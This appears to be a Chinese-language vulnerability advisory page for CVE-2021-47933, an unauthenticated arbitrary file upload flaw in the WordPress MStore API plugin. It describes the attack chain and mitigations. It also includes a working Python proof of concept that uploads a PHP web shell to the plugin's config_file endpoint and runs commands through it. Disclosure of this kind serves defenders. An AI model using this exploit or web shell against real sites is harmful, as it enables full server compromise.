IPBUF安全漏洞报告
English
CVE-2021-47933 CVSS 9.8 严重

CVE-2021-47933 WordPress MStore API任意文件上传漏洞

披露日期: 2026-05-10

漏洞信息

漏洞编号
CVE-2021-47933
漏洞类型
任意文件上传
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WordPress MStore API

相关标签

WordPressRCE文件上传MStore APICVE-2021-47933

漏洞概述

WordPress MStore API插件存在一个严重的任意文件上传漏洞。由于未对上传接口进行充分的身份验证和文件类型限制,未经身份认证的攻击者可以通过向REST API端点发送特制的POST请求,上传恶意的PHP文件,从而在服务器上执行任意代码,完全控制受影响的系统。

技术细节

该漏洞的核心在于WordPress MStore API插件对REST API中的`config_file`端点缺乏严格的访问控制和文件类型校验。攻击者无需任何登录凭证即可向该端点发起请求。利用过程中,攻击者构造包含恶意PHP脚本的multipart/form-data数据包,通过POST方式发送至服务器。由于插件未能正确过滤文件扩展名或内容,恶意文件被成功写入服务器可写目录(如上传目录)。一旦文件上传成功,攻击者只需通过浏览器访问该文件的URL,服务器端PHP解释器将解析并执行恶意代码,导致服务器被完全攻陷。

攻击链分析

STEP 1
侦察
识别运行WordPress并安装了MStore API插件的目标站点。
STEP 2
漏洞利用
向`/wp-json/mstore-api/v1/config_file`端点发送包含恶意PHP文件的POST请求。
STEP 3
代码执行
访问上传的恶意文件路径,触发服务器解析PHP代码,执行系统命令。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (Replace with actual vulnerable host) target_url = "http://example.com/wp-json/mstore-api/v1/config_file" # Malicious PHP file content php_code = "<?php system($_GET['cmd']); ?>" # Prepare the file payload files = { 'file': ('shell.php', php_code, 'application/x-php') } try: # Send POST request to upload the file response = requests.post(target_url, files=files) if response.status_code == 200: print("[+] File uploaded successfully!") print("[+] Check the shell at: http://example.com/wp-content/uploads/shell.php?cmd=whoami") else: print("[-] Upload failed.") print(response.text) except Exception as e: print(f"Error: {e}")

影响范围

WordPress MStore API <= 2.0.6

防御指南

临时缓解措施
如果无法立即升级插件,建议临时禁用MStore API插件以阻断攻击面。同时,管理员应检查服务器日志和文件系统,查找是否存在异常的近期上传文件,并清理潜在的Webshell。配置Web应用防火墙(WAF)规则以拦截针对config_file端点的异常请求。

参考链接